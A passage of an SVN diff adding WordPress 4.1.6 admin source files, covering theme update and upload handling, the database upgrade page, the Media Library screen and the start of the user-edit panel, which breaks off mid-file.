+		$nonce = 'upgrade-theme_' . $theme;
+		$url = 'update.php?action=upgrade-theme&theme=' . urlencode( $theme );
+
+		$upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact('title', 'nonce', 'url', 'theme') ) );
+		$upgrader->upgrade($theme);
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+	} elseif ( 'update-selected-themes' == $action ) {
+		if ( ! current_user_can( 'update_themes' ) )
+			wp_die( __( 'You do not have sufficient permissions to update themes for this site.' ) );
+
+		check_admin_referer( 'bulk-update-themes' );
+
+		if ( isset( $_GET['themes'] ) )
+			$themes = explode( ',', stripslashes($_GET['themes']) );
+		elseif ( isset( $_POST['checked'] ) )
+			$themes = (array) $_POST['checked'];
+		else
+			$themes = array();
+
+		$themes = array_map('urldecode', $themes);
+
+		$url = 'update.php?action=update-selected-themes&amp;themes=' . urlencode(implode(',', $themes));
+		$nonce = 'bulk-update-themes';
+
+		wp_enqueue_script( 'updates' );
+		iframe_header();
+
+		$upgrader = new Theme_Upgrader( new Bulk_Theme_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
+		$upgrader->bulk_upgrade( $themes );
+
+		iframe_footer();
+	} elseif ( 'install-theme' == $action ) {
+
+		if ( ! current_user_can('install_themes') )
+			wp_die( __( 'You do not have sufficient permissions to install themes on this site.' ) );
+
+		include_once( ABSPATH . 'wp-admin/includes/theme-install.php' ); //for themes_api..
+
+		check_admin_referer( 'install-theme_' . $theme );
+		$api = themes_api('theme_information', array('slug' => $theme, 'fields' => array('sections' => false, 'tags' => false) ) ); //Save on a bit of bandwidth.
+
+		if ( is_wp_error($api) )
+	 		wp_die($api);
+
+		wp_enqueue_script( 'customize-loader' );
+
+		$title = __('Install Themes');
+		$parent_file = 'themes.php';
+		$submenu_file = 'themes.php';
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		$title = sprintf( __('Installing Theme: %s'), $api->name . ' ' . $api->version );
+		$nonce = 'install-theme_' . $theme;
+		$url = 'update.php?action=install-theme&theme=' . urlencode( $theme );
+		$type = 'web'; //Install theme type, From Web or an Upload.
+
+		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact('title', 'url', 'nonce', 'plugin', 'api') ) );
+		$upgrader->install($api->download_link);
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	} elseif ( 'upload-theme' == $action ) {
+
+		if ( ! current_user_can( 'upload_themes' ) ) {
+			wp_die( __( 'You do not have sufficient permissions to install themes on this site.' ) );
+		}
+
+		check_admin_referer('theme-upload');
+
+		$file_upload = new File_Upload_Upgrader('themezip', 'package');
+
+		wp_enqueue_script( 'customize-loader' );
+
+		$title = __('Upload Theme');
+		$parent_file = 'themes.php';
+		$submenu_file = 'theme-install.php';
+
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		$title = sprintf( __('Installing Theme from uploaded file: %s'), esc_html( basename( $file_upload->filename ) ) );
+		$nonce = 'theme-upload';
+		$url = add_query_arg(array('package' => $file_upload->id), 'update.php?action=upload-theme');
+		$type = 'upload'; //Install plugin type, From Web or an Upload.
+
+		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact('type', 'title', 'nonce', 'url') ) );
+		$result = $upgrader->install( $file_upload->package );
+
+		if ( $result || is_wp_error($result) )
+			$file_upload->cleanup();
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	} else {
+		/**
+		 * Fires when a custom plugin or theme update request is received.
+		 *
+		 * The dynamic portion of the hook name, `$action`, refers to the action
+		 * provided in the request for wp-admin/update.php. Can be used to
+		 * provide custom update functionality for themes and plugins.
+		 *
+		 * @since 2.8.0
+		 */
+		do_action( "update-custom_{$action}" );
+	}
+}
Index: /tags/4.1.6/src/wp-admin/upgrade-functions.php
===================================================================
--- /tags/4.1.6/src/wp-admin/upgrade-functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/upgrade-functions.php	(revision 33402)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * WordPress Upgrade Functions. Old file, must not be used. Include
+ * wp-admin/includes/upgrade.php instead.
+ *
+ * @deprecated 2.5.0
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+_deprecated_file( basename(__FILE__), '2.5', 'wp-admin/includes/upgrade.php' );
+require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
Index: /tags/4.1.6/src/wp-admin/upgrade.php
===================================================================
--- /tags/4.1.6/src/wp-admin/upgrade.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/upgrade.php	(revision 33402)
@@ -0,0 +1,116 @@
+<?php
+/**
+ * Upgrade WordPress Page.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * We are upgrading WordPress.
+ *
+ * @since 1.5.1
+ * @var bool
+ */
+define( 'WP_INSTALLING', true );
+
+/** Load WordPress Bootstrap */
+require( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+
+nocache_headers();
+
+timer_start();
+require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+
+delete_site_transient('update_core');
+
+if ( isset( $_GET['step'] ) )
+	$step = $_GET['step'];
+else
+	$step = 0;
+
+// Do it. No output.
+if ( 'upgrade_db' === $step ) {
+	wp_upgrade();
+	die( '0' );
+}
+
+$step = (int) $step;
+
+$php_version    = phpversion();
+$mysql_version  = $wpdb->db_version();
+$php_compat     = version_compare( $php_version, $required_php_version, '>=' );
+if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) )
+	$mysql_compat = true;
+else
+	$mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' );
+
+@header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+	<meta name="viewport" content="width=device-width" />
+	<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php echo get_option( 'blog_charset' ); ?>" />
+	<title><?php _e( 'WordPress &rsaquo; Update' ); ?></title>
+	<?php
+	wp_admin_css( 'install', true );
+	wp_admin_css( 'ie', true );
+	?>
+</head>
+<body class="wp-core-ui">
+<h1 id="logo"><a href="<?php echo esc_url( __( 'https://wordpress.org/' ) ); ?>" tabindex="-1"><?php _e( 'WordPress' ); ?></a></h1>
+
+<?php if ( get_option( 'db_version' ) == $wp_db_version || !is_blog_installed() ) : ?>
+
+<h2><?php _e( 'No Update Required' ); ?></h2>
+<p><?php _e( 'Your WordPress database is already up-to-date!' ); ?></p>
+<p class="step"><a class="button button-large" href="<?php echo get_option( 'home' ); ?>/"><?php _e( 'Continue' ); ?></a></p>
+
+<?php elseif ( !$php_compat || !$mysql_compat ) :
+	if ( !$mysql_compat && !$php_compat )
+		printf( __('You cannot update because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.'), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version );
+	elseif ( !$php_compat )
+		printf( __('You cannot update because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher. You are running version %3$s.'), $wp_version, $required_php_version, $php_version );
+	elseif ( !$mysql_compat )
+		printf( __('You cannot update because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires MySQL version %2$s or higher. You are running version %3$s.'), $wp_version, $required_mysql_version, $mysql_version );
+?>
+<?php else :
+switch ( $step ) :
+	case 0:
+		$goback = wp_get_referer();
+		$goback = esc_url_raw( $goback );
+		$goback = urlencode( $goback );
+?>
+<h2><?php _e( 'Database Update Required' ); ?></h2>
+<p><?php _e( 'WordPress has been updated! Before we send you on your way, we have to update your database to the newest version.' ); ?></p>
+<p><?php _e( 'The update process may take a little while, so please be patient.' ); ?></p>
+<p class="step"><a class="button button-large" href="upgrade.php?step=1&amp;backto=<?php echo $goback; ?>"><?php _e( 'Update WordPress Database' ); ?></a></p>
+<?php
+		break;
+	case 1:
+		wp_upgrade();
+
+			$backto = !empty($_GET['backto']) ? wp_unslash( urldecode( $_GET['backto'] ) ) : __get_option( 'home' ) . '/';
+			$backto = esc_url( $backto );
+			$backto = wp_validate_redirect($backto, __get_option( 'home' ) . '/');
+?>
+<h2><?php _e( 'Update Complete' ); ?></h2>
+	<p><?php _e( 'Your WordPress database has been successfully updated!' ); ?></p>
+	<p class="step"><a class="button button-large" href="<?php echo $backto; ?>"><?php _e( 'Continue' ); ?></a></p>
+
+<!--
+<pre>
+<?php printf( __( '%s queries' ), $wpdb->num_queries ); ?>
+
+<?php printf( __( '%s seconds' ), timer_stop( 0 ) ); ?>
+</pre>
+-->
+
+<?php
+		break;
+endswitch;
+endif;
+?>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-admin/upload.php
===================================================================
--- /tags/4.1.6/src/wp-admin/upload.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/upload.php	(revision 33402)
@@ -0,0 +1,292 @@
+<?php
+/**
+ * Media Library administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !current_user_can('upload_files') )
+	wp_die( __( 'You do not have permission to upload files.' ) );
+
+$mode = get_user_option( 'media_library_mode', get_current_user_id() ) ? get_user_option( 'media_library_mode', get_current_user_id() ) : 'grid';
+$modes = array( 'grid', 'list' );
+
+if ( isset( $_GET['mode'] ) && in_array( $_GET['mode'], $modes ) ) {
+	$mode = $_GET['mode'];
+	update_user_option( get_current_user_id(), 'media_library_mode', $mode );
+}
+
+if ( 'grid' === $mode ) {
+	wp_enqueue_media();
+	wp_enqueue_script( 'media-grid' );
+	wp_enqueue_script( 'media' );
+	wp_localize_script( 'media-grid', '_wpMediaGridSettings', array(
+		'adminUrl' => parse_url( self_admin_url(), PHP_URL_PATH ),
+	) );
+
+	get_current_screen()->add_help_tab( array(
+		'id'		=> 'overview',
+		'title'		=> __( 'Overview' ),
+		'content'	=>
+			'<p>' . __( 'All the files you&#8217;ve uploaded are listed in the Media Library, with the most recent uploads listed first.' ) . '</p>' .
+			'<p>' . __( 'You can view your media in a simple visual grid or a list with columns. Switch between these views using the icons to the left above the media.' ) . '</p>' .
+			'<p>' . __( 'To delete media items, click the Bulk Select button at the top of the screen. Select any items you wish to delete, then click the Delete Selected button. Clicking the Cancel Selection button takes you back to viewing your media.' ) . '</p>'
+	) );
+
+	get_current_screen()->add_help_tab( array(
+		'id'		=> 'attachment-details',
+		'title'		=> __( 'Attachment Details' ),
+		'content'	=>
+			'<p>' . __( 'Clicking an item will display an Attachment Details dialog, which allows you to preview media and make quick edits. Any changes you make to the attachment details will be automatically saved.' ) . '</p>' .
+			'<p>' . __( 'Use the arrow buttons at the top of the dialog, or the left and right arrow keys on your keyboard, to navigate between media items quickly.' ) . '</p>' .
+			'<p>' . __( 'You can also delete individual items and access the extended edit screen from the details dialog.' ) . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+		'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+		'<p>' . __( '<a href="http://codex.wordpress.org/Media_Library_Screen" target="_blank">Documentation on Media Library</a>' ) . '</p>' .
+		'<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>'
+	);
+
+	$title = __('Media Library');
+	$parent_file = 'upload.php';
+
+	require_once( ABSPATH . 'wp-admin/admin-header.php' );
+	?>
+	<div class="wrap" id="wp-media-grid">
+		<h2>
+		<?php
+		echo esc_html( $title );
+		if ( current_user_can( 'upload_files' ) ) { ?>
+			<a href="media-new.php" class="add-new-h2"><?php echo esc_html_x( 'Add New', 'file' ); ?></a><?php
+		}
+		?>
+		</h2>
+		<div class="error hide-if-js">
+			<p><?php _e( 'The grid view for the Media Library requires JavaScript. <a href="upload.php?mode=list">Switch to the list view</a>.' ); ?></p>
+		</div>
+	</div>
+	<?php
+	include( ABSPATH . 'wp-admin/admin-footer.php' );
+	exit;
+}
+
+$wp_list_table = _get_list_table('WP_Media_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+// Handle bulk actions
+$doaction = $wp_list_table->current_action();
+
+if ( $doaction ) {
+	check_admin_referer('bulk-media');
+
+	if ( 'delete_all' == $doaction ) {
+		$post_ids = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_type='attachment' AND post_status = 'trash'" );
+		$doaction = 'delete';
+	} elseif ( isset( $_REQUEST['media'] ) ) {
+		$post_ids = $_REQUEST['media'];
+	} elseif ( isset( $_REQUEST['ids'] ) ) {
+		$post_ids = explode( ',', $_REQUEST['ids'] );
+	}
+
+	$location = 'upload.php';
+	if ( $referer = wp_get_referer() ) {
+		if ( false !== strpos( $referer, 'upload.php' ) )
+			$location = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'message', 'ids', 'posted' ), $referer );
+	}
+
+	switch ( $doaction ) {
+		case 'attach':
+			$parent_id = (int) $_REQUEST['found_post_id'];
+			if ( !$parent_id )
+				return;
+
+			$parent = get_post( $parent_id );
+			if ( !current_user_can( 'edit_post', $parent_id ) )
+				wp_die( __( 'You are not allowed to edit this post.' ) );
+
+			$attach = array();
+			foreach ( (array) $_REQUEST['media'] as $att_id ) {
+				$att_id = (int) $att_id;
+
+				if ( !current_user_can( 'edit_post', $att_id ) )
+					continue;
+
+				$attach[] = $att_id;
+			}
+
+			if ( ! empty( $attach ) ) {
+				$attach_string = implode( ',', $attach );
+				$attached = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_parent = %d WHERE post_type = 'attachment' AND ID IN ( $attach_string )", $parent_id ) );
+				foreach ( $attach as $att_id ) {
+					clean_attachment_cache( $att_id );
+				}
+			}
+
+			if ( isset( $attached ) ) {
+				$location = 'upload.php';
+				if ( $referer = wp_get_referer() ) {
+					if ( false !== strpos( $referer, 'upload.php' ) )
+						$location = $referer;
+				}
+
+				$location = add_query_arg( array( 'attached' => $attached ) , $location );
+				wp_redirect( $location );
+				exit;
+			}
+			break;
+		case 'trash':
+			if ( !isset( $post_ids ) )
+				break;
+			foreach ( (array) $post_ids as $post_id ) {
+				if ( !current_user_can( 'delete_post', $post_id ) )
+					wp_die( __( 'You are not allowed to move this post to the trash.' ) );
+
+				if ( !wp_trash_post( $post_id ) )
+					wp_die( __( 'Error in moving to trash.' ) );
+			}
+			$location = add_query_arg( array( 'trashed' => count( $post_ids ), 'ids' => join( ',', $post_ids ) ), $location );
+			break;
+		case 'untrash':
+			if ( !isset( $post_ids ) )
+				break;
+			foreach ( (array) $post_ids as $post_id ) {
+				if ( !current_user_can( 'delete_post', $post_id ) )
+					wp_die( __( 'You are not allowed to move this post out of the trash.' ) );
+
+				if ( !wp_untrash_post( $post_id ) )
+					wp_die( __( 'Error in restoring from trash.' ) );
+			}
+			$location = add_query_arg( 'untrashed', count( $post_ids ), $location );
+			break;
+		case 'delete':
+			if ( !isset( $post_ids ) )
+				break;
+			foreach ( (array) $post_ids as $post_id_del ) {
+				if ( !current_user_can( 'delete_post', $post_id_del ) )
+					wp_die( __( 'You are not allowed to delete this post.' ) );
+
+				if ( !wp_delete_attachment( $post_id_del ) )
+					wp_die( __( 'Error in deleting.' ) );
+			}
+			$location = add_query_arg( 'deleted', count( $post_ids ), $location );
+			break;
+	}
+
+	wp_redirect( $location );
+	exit;
+} elseif ( ! empty( $_GET['_wp_http_referer'] ) ) {
+	 wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
+	 exit;
+}
+
+$wp_list_table->prepare_items();
+
+$title = __('Media Library');
+$parent_file = 'upload.php';
+
+wp_enqueue_script( 'media' );
+
+add_screen_option( 'per_page', array('label' => _x( 'Media items', 'items per page (screen options)' )) );
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __( 'All the files you&#8217;ve uploaded are listed in the Media Library, with the most recent uploads listed first. You can use the Screen Options tab to customize the display of this screen.' ) . '</p>' .
+	'<p>' . __( 'You can narrow the list by file type/status using the text link filters at the top of the screen. You also can refine the list by date using the dropdown menu above the media table.' ) . '</p>' .
+	'<p>' . __( 'You can view your media in a simple visual grid or a list with columns. Switch between these views using the icons to the left above the media.' ) . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'actions-links',
+'title'		=> __('Available Actions'),
+'content'	=>
+	'<p>' . __( 'Hovering over a row reveals action links: Edit, Delete Permanently, and View. Clicking Edit or on the media file&#8217;s name displays a simple screen to edit that individual file&#8217;s metadata. Clicking Delete Permanently will delete the file from the media library (as well as from any posts to which it is currently attached). View will take you to the display page for that file.' ) . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'attaching-files',
+'title'		=> __('Attaching Files'),
+'content'	=>
+	'<p>' . __( 'If a media file has not been attached to any post, you will see that in the Attached To column, and can click on Attach File to launch a small popup that will allow you to search for a post and attach the file.' ) . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="http://codex.wordpress.org/Media_Library_Screen" target="_blank">Documentation on Media Library</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h2>
+<?php
+echo esc_html( $title );
+if ( current_user_can( 'upload_files' ) ) { ?>
+	<a href="media-new.php" class="add-new-h2"><?php echo esc_html_x('Add New', 'file'); ?></a><?php
+}
+if ( ! empty( $_REQUEST['s'] ) )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', get_search_query() ); ?>
+</h2>
+
+<?php
+$message = '';
+if ( ! empty( $_GET['posted'] ) ) {
+	$message = __('Media attachment updated.');
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('posted'), $_SERVER['REQUEST_URI']);
+}
+
+if ( ! empty( $_GET['attached'] ) && $attached = absint( $_GET['attached'] ) ) {
+	$message = sprintf( _n('Reattached %d attachment.', 'Reattached %d attachments.', $attached), $attached );
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('attached'), $_SERVER['REQUEST_URI']);
+}
+
+if ( ! empty( $_GET['deleted'] ) && $deleted = absint( $_GET['deleted'] ) ) {
+	$message = sprintf( _n( 'Media attachment permanently deleted.', '%d media attachments permanently deleted.', $deleted ), number_format_i18n( $_GET['deleted'] ) );
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('deleted'), $_SERVER['REQUEST_URI']);
+}
+
+if ( ! empty( $_GET['trashed'] ) && $trashed = absint( $_GET['trashed'] ) ) {
+	$message = sprintf( _n( 'Media attachment moved to the trash.', '%d media attachments moved to the trash.', $trashed ), number_format_i18n( $_GET['trashed'] ) );
+	$message .= ' <a href="' . esc_url( wp_nonce_url( 'upload.php?doaction=undo&action=untrash&ids='.(isset($_GET['ids']) ? $_GET['ids'] : ''), "bulk-media" ) ) . '">' . __('Undo') . '</a>';
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('trashed'), $_SERVER['REQUEST_URI']);
+}
+
+if ( ! empty( $_GET['untrashed'] ) && $untrashed = absint( $_GET['untrashed'] ) ) {
+	$message = sprintf( _n( 'Media attachment restored from the trash.', '%d media attachments restored from the trash.', $untrashed ), number_format_i18n( $_GET['untrashed'] ) );
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('untrashed'), $_SERVER['REQUEST_URI']);
+}
+
+$messages[1] = __('Media attachment updated.');
+$messages[2] = __('Media permanently deleted.');
+$messages[3] = __('Error saving media attachment.');
+$messages[4] = __('Media moved to the trash.') . ' <a href="' . esc_url( wp_nonce_url( 'upload.php?doaction=undo&action=untrash&ids='.(isset($_GET['ids']) ? $_GET['ids'] : ''), "bulk-media" ) ) . '">' . __('Undo') . '</a>';
+$messages[5] = __('Media restored from the trash.');
+
+if ( ! empty( $_GET['message'] ) && isset( $messages[ $_GET['message'] ] ) ) {
+	$message = $messages[ $_GET['message'] ];
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('message'), $_SERVER['REQUEST_URI']);
+}
+
+if ( !empty($message) ) { ?>
+<div id="message" class="updated"><p><?php echo $message; ?></p></div>
+<?php } ?>
+
+<form id="posts-filter" action="" method="get">
+
+<?php $wp_list_table->views(); ?>
+
+<?php $wp_list_table->display(); ?>
+
+<div id="ajax-response"></div>
+<?php find_posts_div(); ?>
+</form>
+</div>
+
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/user-edit.php
===================================================================
--- /tags/4.1.6/src/wp-admin/user-edit.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/user-edit.php	(revision 33402)
@@ -0,0 +1,603 @@
+<?php
+/**
+ * Edit user administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_reset_vars( array( 'action', 'user_id', 'wp_http_referer' ) );
+
+$user_id = (int) $user_id;
+$current_user = wp_get_current_user();
+if ( ! defined( 'IS_PROFILE_PAGE' ) )
+	define( 'IS_PROFILE_PAGE', ( $user_id == $current_user->ID ) );
+
+if ( ! $user_id && IS_PROFILE_PAGE )
+	$user_id = $current_user->ID;
+elseif ( ! $user_id && ! IS_PROFILE_PAGE )
+	wp_die(__( 'Invalid user ID.' ) );
+elseif ( ! get_userdata( $user_id ) )
+	wp_die( __('Invalid user ID.') );
+
+wp_enqueue_script('user-profile');
+
+$title = IS_PROFILE_PAGE ? __('Profile') : __('Edit User');
+if ( current_user_can('edit_users') && !IS_PROFILE_PAGE )
+	$submenu_file = 'users.php';
+else
+	$submenu_file = 'profile.php';
+
+if ( current_user_can('edit_users') && !is_user_admin() )
+	$parent_file = 'users.php';
+else
+	$parent_file = 'profile.php';
+
+$profile_help = '<p>' . __('Your profile contains information about you (your &#8220;account&#8221;) as well as some personal options related to using WordPress.') . '</p>' .
+	'<p>' . __('You can change your password, turn on keyboard shortcuts, change the color scheme of your WordPress administration screens, and turn off the WYSIWYG (Visual) editor, among other things. You can hide the Toolbar (formerly called the Admin Bar) from the front end of your site, however it cannot be disabled on the admin screens.') . '</p>' .
+	'<p>' . __('Your username cannot be changed, but you can use other fields to enter your real name or a nickname, and change which name to display on your posts.') . '</p>' .
+	'<p>' . __( 'You can log out of other devices, such as your phone or a public computer, by clicking the Log Out of All Other Sessions button. The button will only display if you are logged in to more than one device.' ) . '</p>' .
+	'<p>' . __('Required fields are indicated; the rest are optional. Profile information will only be displayed if your theme is set up to do so.') . '</p>' .
+	'<p>' . __('Remember to click the Update Profile button when you are finished.') . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => $profile_help,
+) );
+
+get_current_screen()->set_help_sidebar(
+    '<p><strong>' . __('For more information:') . '</strong></p>' .
+    '<p>' . __('<a href="http://codex.wordpress.org/Users_Your_Profile_Screen" target="_blank">Documentation on User Profiles</a>') . '</p>' .
+    '<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+$wp_http_referer = remove_query_arg(array('update', 'delete_count'), $wp_http_referer );
+
+$user_can_edit = current_user_can( 'edit_posts' ) || current_user_can( 'edit_pages' );
+
+/**
+ * Optional SSL preference that can be turned on by hooking to the 'personal_options' action.
+ *
+ * @since 2.7.0
+ *
+ * @param object $user User data object
+ */
+function use_ssl_preference($user) {
+?>
+	<tr class="user-use-ssl-wrap">
+		<th scope="row"><?php _e('Use https')?></th>
+		<td><label for="use_ssl"><input name="use_ssl" type="checkbox" id="use_ssl" value="1" <?php checked('1', $user->use_ssl); ?> /> <?php _e('Always use https when visiting the admin'); ?></label></td>
+	</tr>
+<?php
+}
+
+/**
+ * Filter whether to allow administrators on Multisite to edit every user.
+ *
+ * Enabling the user editing form via this filter also hinges on the user holding
+ * the 'manage_network_users' cap, and the logged-in user not matching the user
+ * profile open for editing.
+ *
+ * The filter was introduced to replace the EDIT_ANY_USER constant.
+ *
+ * @since 3.0.0
+ *
+ * @param bool $allow Whether to allow editing of any user. Default true.
+ */
+if ( is_multisite()
+	&& ! current_user_can( 'manage_network_users' )
+	&& $user_id != $current_user->ID
+	&& ! apply_filters( 'enable_edit_any_user_configuration', true )
+) {
+	wp_die( __( 'You do not have permission to edit this user.' ) );
+}
+
+// Execute confirmed email change. See send_confirmation_on_profile_email().
+if ( is_multisite() && IS_PROFILE_PAGE && isset( $_GET[ 'newuseremail' ] ) && $current_user->ID ) {
+	$new_email = get_option( $current_user->ID . '_new_email' );
+	if ( $new_email[ 'hash' ] == $_GET[ 'newuseremail' ] ) {
+		$user = new stdClass;
+		$user->ID = $current_user->ID;
+		$user->user_email = esc_html( trim( $new_email[ 'newemail' ] ) );
+		if ( $wpdb->get_var( $wpdb->prepare( "SELECT user_login FROM {$wpdb->signups} WHERE user_login = %s", $current_user->user_login ) ) )
+			$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->signups} SET user_email = %s WHERE user_login = %s", $user->user_email, $current_user->user_login ) );
+		wp_update_user( $user );
+		delete_option( $current_user->ID . '_new_email' );
+		wp_redirect( add_query_arg( array('updated' => 'true'), self_admin_url( 'profile.php' ) ) );
+		die();
+	}
+} elseif ( is_multisite() && IS_PROFILE_PAGE && !empty( $_GET['dismiss'] ) && $current_user->ID . '_new_email' == $_GET['dismiss'] ) {
+	delete_option( $current_user->ID . '_new_email' );
+	wp_redirect( add_query_arg( array('updated' => 'true'), self_admin_url( 'profile.php' ) ) );
+	die();
+}
+
+switch ($action) {
+case 'update':
+
+check_admin_referer('update-user_' . $user_id);
+
+if ( !current_user_can('edit_user', $user_id) )
+	wp_die(__('You do not have permission to edit this user.'));
+
+if ( IS_PROFILE_PAGE ) {
+	/**
+	 * Fires before the page loads on the 'Your Profile' editing screen.
+	 *
+	 * The action only fires if the current user is editing their own profile.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int $user_id The user ID.
+	 */
+	do_action( 'personal_options_update', $user_id );
+} else {
+	/**
+	 * Fires before the page loads on the 'Edit User' screen.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param int $user_id The user ID.
+	 */
+	do_action( 'edit_user_profile_update', $user_id );
+}
+
+if ( !is_multisite() ) {
+	$errors = edit_user($user_id);
+} else {
+	$user = get_userdata( $user_id );
+
+	// Update the email address in signups, if present.
+	if ( $user->user_login && isset( $_POST[ 'email' ] ) && is_email( $_POST[ 'email' ] ) && $wpdb->get_var( $wpdb->prepare( "SELECT user_login FROM {$wpdb->signups} WHERE user_login = %s", $user->user_login ) ) )
+		$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->signups} SET user_email = %s WHERE user_login = %s", $_POST[ 'email' ], $user_login ) );
+
+	// We must delete the user from the current blog if WP added them after editing.
+	$delete_role = false;
+	$blog_prefix = $wpdb->get_blog_prefix();
+	if ( $user_id != $current_user->ID ) {
+		$cap = $wpdb->get_var( "SELECT meta_value FROM {$wpdb->usermeta} WHERE user_id = '{$user_id}' AND meta_key = '{$blog_prefix}capabilities' AND meta_value = 'a:0:{}'" );
+		if ( !is_network_admin() && null == $cap && $_POST[ 'role' ] == '' ) {
+			$_POST[ 'role' ] = 'contributor';
+			$delete_role = true;
+		}
+	}
+	if ( !isset( $errors ) || ( isset( $errors ) && is_object( $errors ) && false == $errors->get_error_codes() ) )
+		$errors = edit_user($user_id);
+	if ( $delete_role ) // stops users being added to current blog when they are edited
+		delete_user_meta( $user_id, $blog_prefix . 'capabilities' );
+
+	if ( is_multisite() && is_network_admin() && !IS_PROFILE_PAGE && current_user_can( 'manage_network_options' ) && !isset($super_admins) && empty( $_POST['super_admin'] ) == is_super_admin( $user_id ) )
+		empty( $_POST['super_admin'] ) ? revoke_super_admin( $user_id ) : grant_super_admin( $user_id );
+}
+
+if ( !is_wp_error( $errors ) ) {
+	$redirect = add_query_arg( 'updated', true, get_edit_user_link( $user_id ) );
+	if ( $wp_http_referer )
+		$redirect = add_query_arg('wp_http_referer', urlencode($wp_http_referer), $redirect);
+	wp_redirect($redirect);
+	exit;
+}
+
+default:
+$profileuser = get_user_to_edit($user_id);
+
+if ( !current_user_can('edit_user', $user_id) )
+	wp_die(__('You do not have permission to edit this user.'));
+
+$sessions = WP_Session_Tokens::get_instance( $profileuser->ID );
+
+include(ABSPATH . 'wp-admin/admin-header.php');
+?>
+
+<?php if ( !IS_PROFILE_PAGE && is_super_admin( $profileuser->ID ) && current_user_can( 'manage_network_options' ) ) { ?>
+	<div class="updated"><p><strong><?php _e('Important:'); ?></strong> <?php _e('This user has super admin privileges.'); ?></p></div>
+<?php } ?>
+<?php if ( isset($_GET['updated']) ) : ?>
+<div id="message" class="updated">
+	<?php if ( IS_PROFILE_PAGE ) : ?>
+	<p><strong><?php _e('Profile updated.') ?></strong></p>
+	<?php else: ?>
+	<p><strong><?php _e('User updated.') ?></strong></p>
+	<?php endif; ?>
+	<?php if ( $wp_http_referer && !IS_PROFILE_PAGE ) : ?>
+	<p><a href="<?php echo esc_url( $wp_http_referer ); ?>"><?php _e('&larr; Back to Users'); ?></a></p>
+	<?php endif; ?>
+</div>
+<?php endif; ?>
+<?php if ( isset( $errors ) && is_wp_error( $errors ) ) : ?>
+<div class="error"><p><?php echo implode( "</p>\n<p>", $errors->get_error_messages() ); ?></p></div>
+<?php endif; ?>
+
+<div class="wrap" id="profile-page">
+<h2>
+<?php
